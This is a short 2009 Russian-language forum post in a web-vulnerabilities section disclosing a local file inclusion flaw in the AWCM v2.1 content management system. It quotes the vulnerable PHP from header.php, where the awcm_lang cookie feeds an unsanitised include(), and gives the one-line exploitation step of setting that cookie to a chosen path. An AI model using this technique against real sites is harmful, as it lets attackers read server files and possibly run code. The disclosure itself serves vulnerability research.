AWCM v2.1

Discussion in 'Веб-уязвимости' started by geezer.code, 16 Nov 2009.

  1. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    AWCM v2.1
    http://sourceforge.net/projects/awcm/
    арабская недоцмс.

    LFI
    file header.php
    PHP:
    if(isset($_COOKIE['awcm_lang'])) {
        
    $lang_file $_COOKIE['awcm_lang'];
    } else {
        
    $lang_file $mysql_maininfo_row['defult_language'];
    }
     ....

    @include (
    "languages/$lang_file");
    Редактируем кукис ставим awcm_lang={path}
     
    9 people like this.